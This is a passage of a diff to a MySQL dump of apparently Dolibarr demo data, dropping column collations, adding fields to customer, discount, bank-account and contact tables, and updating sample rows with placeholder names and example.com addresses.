DEFAULT 0, - `phone` varchar(20) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `fax` varchar(20) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `note` text COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `phone` varchar(20) DEFAULT NULL, + `fax` varchar(20) DEFAULT NULL, + `note` text DEFAULT NULL, `fk_user_creat` int(11) DEFAULT NULL, `fk_user_modif` int(11) DEFAULT NULL, PRIMARY KEY (`rowid`) @@ -12434,7 +11507,7 @@ CREATE TABLE `llx_societe_commerciaux` ( `rowid` int(11) NOT NULL AUTO_INCREMENT, `fk_soc` int(11) DEFAULT NULL, `fk_user` int(11) DEFAULT NULL, - `import_key` varchar(14) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `import_key` varchar(14) DEFAULT NULL, PRIMARY KEY (`rowid`), UNIQUE KEY `uk_societe_commerciaux` (`fk_soc`,`fk_user`) ) ENGINE=InnoDB AUTO_INCREMENT=13 DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_unicode_ci; @@ -12465,7 +11538,7 @@ CREATE TABLE `llx_societe_contacts` ( `fk_c_type_contact` int(11) NOT NULL, `fk_socpeople` int(11) NOT NULL, `tms` timestamp NOT NULL DEFAULT current_timestamp() ON UPDATE current_timestamp(), - `import_key` varchar(14) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `import_key` varchar(14) DEFAULT NULL, PRIMARY KEY (`rowid`), UNIQUE KEY `idx_societe_contacts_idx1` (`entity`,`fk_soc`,`fk_c_type_contact`,`fk_socpeople`), KEY `fk_societe_contacts_fk_c_type_contact` (`fk_c_type_contact`), @@ -12497,14 +11570,32 @@ CREATE TABLE `llx_societe_extrafields` ( `rowid` int(11) NOT NULL AUTO_INCREMENT, `tms` timestamp NOT NULL DEFAULT current_timestamp() ON UPDATE current_timestamp(), `fk_object` int(11) NOT NULL, - `import_key` varchar(14) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `height` varchar(128) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `weight` varchar(128) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `prof` varchar(128) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `import_key` varchar(14) DEFAULT NULL, + `height` varchar(128) DEFAULT NULL, + `weight` varchar(128) DEFAULT NULL, + `prof` varchar(128) DEFAULT NULL, `birthdate` date DEFAULT NULL, + `dolicloud` varchar(255) NOT NULL DEFAULT 'no', + `date_registration` datetime DEFAULT NULL, + `domain_registration_page` varchar(128) DEFAULT NULL, + `ip_confirm_email` varchar(128) DEFAULT NULL, + `source` varchar(64) DEFAULT NULL, + `source_utm` varchar(64) DEFAULT NULL, + `firstname` varchar(64) DEFAULT NULL, + `lastname` varchar(64) DEFAULT NULL, + `password` varchar(128) DEFAULT NULL, + `oldpassword` varchar(128) DEFAULT NULL, + `pass_temp` varchar(128) DEFAULT NULL, + `optinmessages` int(1) DEFAULT NULL, + `emailccinvoice` varchar(255) DEFAULT NULL, + `manualcollection` int(1) DEFAULT NULL, + `commission` int(3) DEFAULT NULL, + `stripeaccount` varchar(255) DEFAULT NULL, + `maxnbofinstances` int(3) DEFAULT 4, + `checkboxnonprofitorga` varchar(255) DEFAULT NULL, PRIMARY KEY (`rowid`), UNIQUE KEY `uk_societe_extrafields` (`fk_object`) -) ENGINE=InnoDB AUTO_INCREMENT=103 DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_unicode_ci; +) ENGINE=InnoDB AUTO_INCREMENT=122 DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_unicode_ci; /*!40101 SET character_set_client = @saved_cs_client */; -- @@ -12513,7 +11604,7 @@ CREATE TABLE `llx_societe_extrafields` ( LOCK TABLES `llx_societe_extrafields` WRITE; /*!40000 ALTER TABLE `llx_societe_extrafields` DISABLE KEYS */; -INSERT INTO `llx_societe_extrafields` VALUES (75,'2018-01-22 16:40:03',10,NULL,NULL,NULL,NULL,NULL),(77,'2018-01-22 16:41:56',12,NULL,NULL,NULL,NULL,NULL),(79,'2018-01-22 17:13:16',13,NULL,NULL,NULL,NULL,NULL),(81,'2018-01-22 17:18:08',19,NULL,NULL,NULL,NULL,NULL),(82,'2018-01-22 17:21:17',25,NULL,NULL,NULL,NULL,NULL),(83,'2018-01-22 17:21:51',1,NULL,NULL,NULL,NULL,NULL),(85,'2018-01-22 17:22:32',3,NULL,NULL,NULL,NULL,NULL),(86,'2018-01-22 17:24:53',4,NULL,NULL,NULL,NULL,NULL),(88,'2018-01-22 17:25:26',6,NULL,NULL,NULL,NULL,NULL),(89,'2018-01-22 17:25:41',7,NULL,NULL,NULL,NULL,NULL),(92,'2018-07-30 11:45:49',2,NULL,NULL,NULL,NULL,NULL),(94,'2017-02-15 22:55:34',17,NULL,NULL,NULL,NULL,NULL),(96,'2017-02-21 11:01:17',5,NULL,NULL,NULL,NULL,NULL),(97,'2017-05-12 09:06:31',11,NULL,NULL,NULL,NULL,NULL),(99,'2019-09-26 12:06:05',26,NULL,NULL,NULL,NULL,NULL),(100,'2020-01-05 20:39:58',29,NULL,NULL,NULL,NULL,NULL),(102,'2020-01-13 13:19:57',30,NULL,NULL,NULL,NULL,NULL); +INSERT INTO `llx_societe_extrafields` VALUES (79,'2018-01-22 17:13:16',13,NULL,NULL,NULL,NULL,NULL,'no',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,4,NULL),(81,'2018-01-22 17:18:08',19,NULL,NULL,NULL,NULL,NULL,'no',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,4,NULL),(82,'2018-01-22 17:21:17',25,NULL,NULL,NULL,NULL,NULL,'no',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,4,NULL),(85,'2018-01-22 17:22:32',3,NULL,NULL,NULL,NULL,NULL,'no',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,4,NULL),(88,'2018-01-22 17:25:26',6,NULL,NULL,NULL,NULL,NULL,'no',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,4,NULL),(89,'2018-01-22 17:25:41',7,NULL,NULL,NULL,NULL,NULL,'no',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,4,NULL),(92,'2018-07-30 11:45:49',2,NULL,NULL,NULL,NULL,NULL,'no',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,4,NULL),(94,'2017-02-15 22:55:34',17,NULL,NULL,NULL,NULL,NULL,'no',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,4,NULL),(96,'2017-02-21 11:01:17',5,NULL,NULL,NULL,NULL,NULL,'no',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,4,NULL),(97,'2017-05-12 09:06:31',11,NULL,NULL,NULL,NULL,NULL,'no',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,4,NULL),(99,'2019-09-26 12:06:05',26,NULL,NULL,NULL,NULL,NULL,'no',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,4,NULL),(100,'2020-01-05 20:39:58',29,NULL,NULL,NULL,NULL,NULL,'no',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,4,NULL),(103,'2022-12-16 11:20:27',4,NULL,NULL,NULL,NULL,NULL,'no',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,4,NULL),(107,'2022-12-26 12:12:43',32,NULL,NULL,NULL,NULL,NULL,'no',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,4,NULL),(111,'2022-12-26 12:21:55',36,NULL,NULL,NULL,NULL,NULL,'no',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,4,NULL),(112,'2022-12-28 00:21:00',35,NULL,NULL,NULL,NULL,NULL,'no',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,4,NULL),(114,'2022-12-28 00:56:09',30,NULL,NULL,NULL,NULL,NULL,'no',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,4,NULL),(115,'2023-01-02 18:49:54',31,NULL,NULL,NULL,NULL,NULL,'no',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,4,NULL),(116,'2023-01-14 10:46:33',12,NULL,NULL,NULL,NULL,NULL,'no',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,4,NULL),(117,'2023-01-24 09:58:57',10,NULL,NULL,NULL,NULL,NULL,'no',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,4,'0'),(119,'2023-02-09 18:09:09',33,NULL,NULL,NULL,NULL,NULL,'no',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,4,'0'),(120,'2023-02-15 23:08:31',34,NULL,NULL,NULL,NULL,NULL,'no',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,4,'0'),(121,'2023-03-01 22:02:40',1,NULL,NULL,NULL,NULL,NULL,'no',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,4,'0'); /*!40000 ALTER TABLE `llx_societe_extrafields` ENABLE KEYS */; UNLOCK TABLES; @@ -12528,10 +11619,10 @@ CREATE TABLE `llx_societe_perentity` ( `rowid` int(11) NOT NULL AUTO_INCREMENT, `fk_soc` int(11) DEFAULT NULL, `entity` int(11) NOT NULL DEFAULT 1, - `accountancy_code_customer` varchar(24) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `accountancy_code_supplier` varchar(24) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `accountancy_code_sell` varchar(32) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `accountancy_code_buy` varchar(32) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `accountancy_code_customer` varchar(24) DEFAULT NULL, + `accountancy_code_supplier` varchar(24) DEFAULT NULL, + `accountancy_code_sell` varchar(32) DEFAULT NULL, + `accountancy_code_buy` varchar(32) DEFAULT NULL, PRIMARY KEY (`rowid`), UNIQUE KEY `uk_societe_perentity` (`fk_soc`,`entity`), KEY `idx_societe_perentity_fk_soc` (`fk_soc`) @@ -12590,7 +11681,7 @@ CREATE TABLE `llx_societe_remise` ( `datec` datetime DEFAULT NULL, `fk_user_author` int(11) DEFAULT NULL, `remise_client` double(6,3) NOT NULL DEFAULT 0.000, - `note` text COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `note` text DEFAULT NULL, PRIMARY KEY (`rowid`) ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_unicode_ci; /*!40101 SET character_set_client = @saved_cs_client */; @@ -12625,14 +11716,16 @@ CREATE TABLE `llx_societe_remise_except` ( `fk_facture_line` int(11) DEFAULT NULL, `fk_facture` int(11) DEFAULT NULL, `fk_facture_source` int(11) DEFAULT NULL, - `description` text COLLATE utf8mb3_unicode_ci NOT NULL, + `description` text NOT NULL, `multicurrency_amount_ht` double(24,8) NOT NULL DEFAULT 0.00000000, `multicurrency_amount_tva` double(24,8) NOT NULL DEFAULT 0.00000000, `multicurrency_amount_ttc` double(24,8) NOT NULL DEFAULT 0.00000000, `fk_invoice_supplier_line` int(11) DEFAULT NULL, `fk_invoice_supplier` int(11) DEFAULT NULL, `fk_invoice_supplier_source` int(11) DEFAULT NULL, - `vat_src_code` varchar(10) COLLATE utf8mb3_unicode_ci DEFAULT '', + `vat_src_code` varchar(10) DEFAULT '', + `multicurrency_code` varchar(3) DEFAULT NULL, + `multicurrency_tx` double(24,8) DEFAULT NULL, PRIMARY KEY (`rowid`), KEY `idx_societe_remise_except_fk_user` (`fk_user`), KEY `idx_societe_remise_except_fk_soc` (`fk_soc`), @@ -12661,7 +11754,7 @@ CREATE TABLE `llx_societe_remise_except` ( LOCK TABLES `llx_societe_remise_except` WRITE; /*!40000 ALTER TABLE `llx_societe_remise_except` DISABLE KEYS */; -INSERT INTO `llx_societe_remise_except` VALUES (2,1,19,0,'2015-03-19 09:36:15',10.00000000,1.25000000,11.25000000,12.500,1,NULL,NULL,NULL,'hfghgf',0.00000000,0.00000000,0.00000000,NULL,NULL,NULL,''),(14,1,17,1,'2020-01-01 22:06:30',79.16444000,9.89556000,89.06000000,12.500,12,NULL,NULL,NULL,'(CREDIT_NOTE)',0.00000000,0.00000000,0.00000000,NULL,NULL,27,''),(15,1,19,0,'2020-01-16 02:34:47',20.50000000,0.00000000,20.50000000,0.000,12,1065,NULL,224,'(DEPOSIT)',20.50000000,0.00000000,20.50000000,NULL,NULL,NULL,''),(16,1,1,0,'2020-01-19 14:49:41',10.00000000,1.96000000,11.96000000,19.600,12,NULL,NULL,NULL,'111',10.00000000,1.96000000,11.96000000,NULL,NULL,NULL,''),(19,1,1,0,'2020-01-19 15:16:27',48.60000000,1.94000000,50.54000000,4.000,12,NULL,NULL,228,'(DEPOSIT)',48.60000000,1.94000000,50.54000000,NULL,NULL,NULL,''); +INSERT INTO `llx_societe_remise_except` VALUES (2,1,19,0,'2015-03-19 09:36:15',10.00000000,1.25000000,11.25000000,12.500,1,NULL,NULL,NULL,'hfghgf',0.00000000,0.00000000,0.00000000,NULL,NULL,NULL,'',NULL,NULL),(14,1,17,1,'2020-01-01 22:06:30',79.16444000,9.89556000,89.06000000,12.500,12,NULL,NULL,NULL,'(CREDIT_NOTE)',0.00000000,0.00000000,0.00000000,NULL,NULL,27,'',NULL,NULL),(15,1,19,0,'2020-01-16 02:34:47',20.50000000,0.00000000,20.50000000,0.000,12,1065,NULL,224,'(DEPOSIT)',20.50000000,0.00000000,20.50000000,NULL,NULL,NULL,'',NULL,NULL),(16,1,1,0,'2020-01-19 14:49:41',10.00000000,1.96000000,11.96000000,19.600,12,NULL,NULL,NULL,'111',10.00000000,1.96000000,11.96000000,NULL,NULL,NULL,'',NULL,NULL),(19,1,1,0,'2020-01-19 15:16:27',48.60000000,1.94000000,50.54000000,4.000,12,NULL,NULL,228,'(DEPOSIT)',48.60000000,1.94000000,50.54000000,NULL,NULL,NULL,'',NULL,NULL); /*!40000 ALTER TABLE `llx_societe_remise_except` ENABLE KEYS */; UNLOCK TABLES; @@ -12680,7 +11773,7 @@ CREATE TABLE `llx_societe_remise_supplier` ( `datec` datetime DEFAULT NULL, `fk_user_author` int(11) DEFAULT NULL, `remise_supplier` double(6,3) NOT NULL DEFAULT 0.000, - `note` mediumtext COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `note` mediumtext DEFAULT NULL, PRIMARY KEY (`rowid`) ) ENGINE=InnoDB AUTO_INCREMENT=2 DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_unicode_ci; /*!40101 SET character_set_client = @saved_cs_client */; @@ -12704,46 +11797,49 @@ DROP TABLE IF EXISTS `llx_societe_rib`; /*!40101 SET character_set_client = utf8 */; CREATE TABLE `llx_societe_rib` ( `rowid` int(11) NOT NULL AUTO_INCREMENT, - `type` varchar(32) COLLATE utf8mb3_unicode_ci NOT NULL, + `type` varchar(32) NOT NULL, `fk_soc` int(11) NOT NULL, `datec` datetime DEFAULT NULL, `tms` timestamp NOT NULL DEFAULT current_timestamp() ON UPDATE current_timestamp(), - `label` varchar(200) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `bank` varchar(255) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `code_banque` varchar(128) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `code_guichet` varchar(6) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `number` varchar(255) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `cle_rib` varchar(5) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `bic` varchar(20) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `iban_prefix` varchar(34) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `domiciliation` varchar(255) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `proprio` varchar(60) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `owner_address` varchar(255) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `label` varchar(200) DEFAULT NULL, + `bank` varchar(255) DEFAULT NULL, + `code_banque` varchar(128) DEFAULT NULL, + `code_guichet` varchar(6) DEFAULT NULL, + `number` varchar(255) DEFAULT NULL, + `cle_rib` varchar(5) DEFAULT NULL, + `bic` varchar(20) DEFAULT NULL, + `iban_prefix` varchar(34) DEFAULT NULL, + `domiciliation` varchar(255) DEFAULT NULL, + `proprio` varchar(60) DEFAULT NULL, + `owner_address` varchar(255) DEFAULT NULL, `default_rib` smallint(6) NOT NULL DEFAULT 0, - `rum` varchar(32) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `state_id` int(11) DEFAULT NULL, + `fk_country` int(11) DEFAULT NULL, + `currency_code` varchar(3) DEFAULT NULL, + `rum` varchar(32) DEFAULT NULL, `date_rum` date DEFAULT NULL, - `frstrecur` varchar(16) COLLATE utf8mb3_unicode_ci DEFAULT 'FRST', - `import_key` varchar(14) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `last_four` varchar(4) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `card_type` varchar(255) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `cvn` varchar(255) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `frstrecur` varchar(16) DEFAULT 'FRST', + `import_key` varchar(14) DEFAULT NULL, + `last_four` varchar(4) DEFAULT NULL, + `card_type` varchar(255) DEFAULT NULL, + `cvn` varchar(255) DEFAULT NULL, `exp_date_month` int(11) DEFAULT NULL, `exp_date_year` int(11) DEFAULT NULL, - `country_code` varchar(10) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `country_code` varchar(10) DEFAULT NULL, `approved` int(11) DEFAULT 0, - `email` varchar(255) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `email` varchar(255) DEFAULT NULL, `ending_date` date DEFAULT NULL, `max_total_amount_of_all_payments` double(24,8) DEFAULT NULL, - `preapproval_key` varchar(255) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `preapproval_key` varchar(255) DEFAULT NULL, `starting_date` date DEFAULT NULL, `total_amount_of_all_payments` double(24,8) DEFAULT NULL, - `stripe_card_ref` varchar(128) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `stripe_card_ref` varchar(128) DEFAULT NULL, `status` int(11) NOT NULL DEFAULT 1, - `comment` varchar(255) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `ipaddress` varchar(68) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `stripe_account` varchar(128) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `comment` varchar(255) DEFAULT NULL, + `ipaddress` varchar(68) DEFAULT NULL, + `stripe_account` varchar(128) DEFAULT NULL, PRIMARY KEY (`rowid`) -) ENGINE=InnoDB AUTO_INCREMENT=2 DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_unicode_ci; +) ENGINE=InnoDB AUTO_INCREMENT=6 DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_unicode_ci; /*!40101 SET character_set_client = @saved_cs_client */; -- @@ -12752,7 +11848,7 @@ CREATE TABLE `llx_societe_rib` ( LOCK TABLES `llx_societe_rib` WRITE; /*!40000 ALTER TABLE `llx_societe_rib` DISABLE KEYS */; -INSERT INTO `llx_societe_rib` VALUES (1,'ban',19,'2017-02-21 15:50:32','2017-02-21 11:53:08','Morgan Bank','Morgan Bank','','','','','PSPBFIHH','ES80 2310 0001 1800 0001 2345','Royal via,\r\nMadrid','Mr Esposito','10 via ferrata,\r\nMadrid',1,'RUM1301-0008-0',NULL,'FRST',NULL,NULL,NULL,NULL,NULL,NULL,NULL,0,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,NULL,NULL,NULL); +INSERT INTO `llx_societe_rib` VALUES (1,'ban',19,'2017-02-21 15:50:32','2017-02-21 11:53:08','Morgan Bank','Morgan Bank','','','','','PSPBFIHH','ES80 2310 0001 1800 0001 2345','Royal via,\r\nMadrid','Mr Esposito','10 via ferrata,\r\nMadrid',1,NULL,NULL,NULL,'RUM1301-0008-0',NULL,'FRST',NULL,NULL,NULL,NULL,NULL,NULL,NULL,0,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,NULL,NULL,NULL),(2,'ban',10,'2023-02-06 14:28:24','2023-02-06 17:28:24','NLTechno','aaaa','','','','','LIABLT2XXXX','FR76 1223 9000 0740 4608 0100 091','','','',1,NULL,NULL,NULL,'UMR-CU1212-0005-2-1675704504',NULL,'FRST',NULL,NULL,NULL,NULL,NULL,NULL,NULL,0,NULL,NULL,NULL,NULL,NULL,NULL,'',1,NULL,NULL,''),(3,'ban',33,'2023-02-21 21:33:04','2023-02-22 00:33:04','aaainlux','aaa','','','','','aaa','aaa','','','',1,NULL,NULL,NULL,'UMR-2302212133-3-CU2212-00026',NULL,'FRST',NULL,NULL,NULL,NULL,NULL,NULL,NULL,0,NULL,NULL,NULL,NULL,NULL,NULL,'',1,NULL,NULL,''),(4,'card',33,'2023-02-21 22:26:00','2023-02-22 01:26:00','aa','',NULL,NULL,'',NULL,NULL,NULL,NULL,'aa',NULL,0,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'',NULL,'',1,2032,'FR',NULL,NULL,NULL,NULL,NULL,NULL,NULL,'',0,NULL,NULL,NULL),(5,'ban',1,'2023-03-08 06:41:28','2023-03-08 09:41:28','Indian SAS','dfgdfgfd','','','','','LIABLT2XXXX','FR76 1223 9000 0740 4608 0100 091','','','',1,NULL,NULL,NULL,'RUM-2303080641-5-CU1212-0007',NULL,'FRST',NULL,NULL,NULL,NULL,NULL,NULL,NULL,0,NULL,NULL,NULL,NULL,NULL,NULL,'',1,NULL,NULL,''); /*!40000 ALTER TABLE `llx_societe_rib` ENABLE KEYS */; UNLOCK TABLES; @@ -12769,39 +11865,41 @@ CREATE TABLE `llx_socpeople` ( `tms` timestamp NOT NULL DEFAULT current_timestamp() ON UPDATE current_timestamp(), `fk_soc` int(11) DEFAULT NULL, `entity` int(11) NOT NULL DEFAULT 1, - `ref_ext` varchar(255) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `civility` varchar(6) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `lastname` varchar(50) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `firstname` varchar(50) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `address` varchar(255) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `zip` varchar(25) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `town` text COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `ref_ext` varchar(255) DEFAULT NULL, + `civility` varchar(6) DEFAULT NULL, + `lastname` varchar(50) DEFAULT NULL, + `firstname` varchar(50) DEFAULT NULL, + `address` varchar(255) DEFAULT NULL, + `zip` varchar(25) DEFAULT NULL, + `town` text DEFAULT NULL, `fk_departement` int(11) DEFAULT NULL, `fk_pays` int(11) DEFAULT 0, `birthday` date DEFAULT NULL, - `poste` varchar(255) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `phone` varchar(30) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `phone_perso` varchar(30) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `phone_mobile` varchar(30) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `fax` varchar(30) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `email` varchar(255) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `socialnetworks` text COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `photo` varchar(255) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `poste` varchar(255) DEFAULT NULL, + `phone` varchar(30) DEFAULT NULL, + `phone_perso` varchar(30) DEFAULT NULL, + `phone_mobile` varchar(30) DEFAULT NULL, + `fax` varchar(30) DEFAULT NULL, + `email` varchar(255) DEFAULT NULL, + `socialnetworks` text DEFAULT NULL, + `photo` varchar(255) DEFAULT NULL, `priv` smallint(6) NOT NULL DEFAULT 0, - `fk_prospectcontactlevel` varchar(12) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `fk_prospectcontactlevel` varchar(12) DEFAULT NULL, `fk_stcommcontact` int(11) NOT NULL DEFAULT 0, `no_email` smallint(6) NOT NULL DEFAULT 0, `fk_user_creat` int(11) DEFAULT 0, `fk_user_modif` int(11) DEFAULT NULL, - `note_private` text COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `note_public` text COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `default_lang` varchar(6) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `canvas` varchar(32) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `import_key` varchar(14) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `note_private` text DEFAULT NULL, + `note_public` text DEFAULT NULL, + `default_lang` varchar(6) DEFAULT NULL, + `canvas` varchar(32) DEFAULT NULL, + `import_key` varchar(14) DEFAULT NULL, `statut` tinyint(4) NOT NULL DEFAULT 1, + `role_list` varchar(255) DEFAULT NULL, PRIMARY KEY (`rowid`), KEY `idx_socpeople_fk_soc` (`fk_soc`), KEY `idx_socpeople_fk_user_creat` (`fk_user_creat`), + KEY `idx_socpeople_lastname` (`lastname`), CONSTRAINT `fk_socpeople_fk_soc` FOREIGN KEY (`fk_soc`) REFERENCES `llx_societe` (`rowid`), CONSTRAINT `fk_socpeople_user_creat_user_rowid` FOREIGN KEY (`fk_user_creat`) REFERENCES `llx_user` (`rowid`) ) ENGINE=InnoDB AUTO_INCREMENT=13 DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_unicode_ci; @@ -12813,7 +11911,7 @@ CREATE TABLE `llx_socpeople` ( LOCK TABLES `llx_socpeople` WRITE; /*!40000 ALTER TABLE `llx_socpeople` DISABLE KEYS */; -INSERT INTO `llx_socpeople` VALUES (1,'2012-07-08 14:26:14','2019-11-28 11:52:58',1,1,NULL,'MR','Indra','Mahala','','','',297,117,'2012-07-08','Project leader','','','','','','[]',NULL,0,NULL,0,0,1,12,'Met during a congress at Dubai','',NULL,NULL,NULL,1),(2,'2012-07-08 22:44:50','2019-11-28 11:52:58',NULL,1,NULL,'MR','Freeman','Public','','','',200,11,NULL,'','','','','','','[]',NULL,0,NULL,0,0,1,1,'A friend that is a free contact not linked to any company',NULL,NULL,NULL,NULL,1),(3,'2012-07-08 22:59:02','2019-11-28 11:52:58',NULL,1,NULL,'MR','Mywife','Nicy','','','',NULL,11,'1980-10-03','','','','','','','[]',NULL,1,NULL,0,0,1,12,'This is a private contact','',NULL,NULL,NULL,1),(4,'2012-07-09 00:16:58','2019-11-28 11:52:58',6,1,NULL,'MR','Rotchield','Evan','','','',NULL,6,NULL,'Bank director','','','','','','[]',NULL,0,NULL,0,0,1,1,'The bank director',NULL,NULL,NULL,NULL,1),(6,'2013-08-01 02:41:26','2019-11-28 11:52:58',17,1,NULL,'','Bookkeeper','Bob','','','',NULL,NULL,NULL,'book keeper','','','','','bbookkeeper@example.com','{\"skype\":\"skypebbookkeeper\"}','',0,NULL,0,0,1,12,'','',NULL,NULL,NULL,1),(7,'2018-07-30 16:11:06','2019-11-28 11:52:58',NULL,1,'','MR','Dad','','','','',NULL,14,'1967-09-04','','','','','','','[]','',1,NULL,0,0,12,12,'','',NULL,NULL,NULL,1),(8,'2018-07-30 16:13:03','2019-11-28 11:52:58',NULL,1,'','MLE','Mom','','','','',NULL,14,NULL,'','','','','','','[]','',1,NULL,0,0,12,12,'','',NULL,NULL,NULL,1),(9,'2018-07-30 16:14:41','2019-11-28 11:52:58',NULL,1,'','MR','Francky','','','89455','Virigia',NULL,205,'1980-07-09','Baker','555-98989898','','','','francky@example.com','[]','',0,NULL,0,0,12,12,'','',NULL,NULL,NULL,1),(10,'2018-07-30 16:26:22','2019-11-28 11:52:58',10,1,'','','Destailleur','Laurent','','','',NULL,NULL,'1972-10-10','Dolibarr project leader','','','','','ldestailleur@example.com','[]','ldestailleur_200x200.jpg',0,NULL,0,0,NULL,12,'','',NULL,NULL,NULL,1),(11,'2017-05-12 13:16:36','2019-11-28 11:52:58',11,1,'','MR','Smith','Laurent','45 Big road','897','Seattle',NULL,11,NULL,'Director','','','','','','[]','ldestailleur_200x200.png',0,NULL,0,0,12,12,'','',NULL,NULL,NULL,1),(12,'2017-05-12 13:19:31','2019-11-28 11:52:58',11,1,'','MR','Einstein','','','','',NULL,11,NULL,'Genius','333444555','','','','genius@example.com','[]','Einstein.jpg',0,NULL,0,0,12,12,'','',NULL,NULL,NULL,1); +INSERT INTO `llx_socpeople` VALUES (1,'2012-07-08 14:26:14','2019-11-28 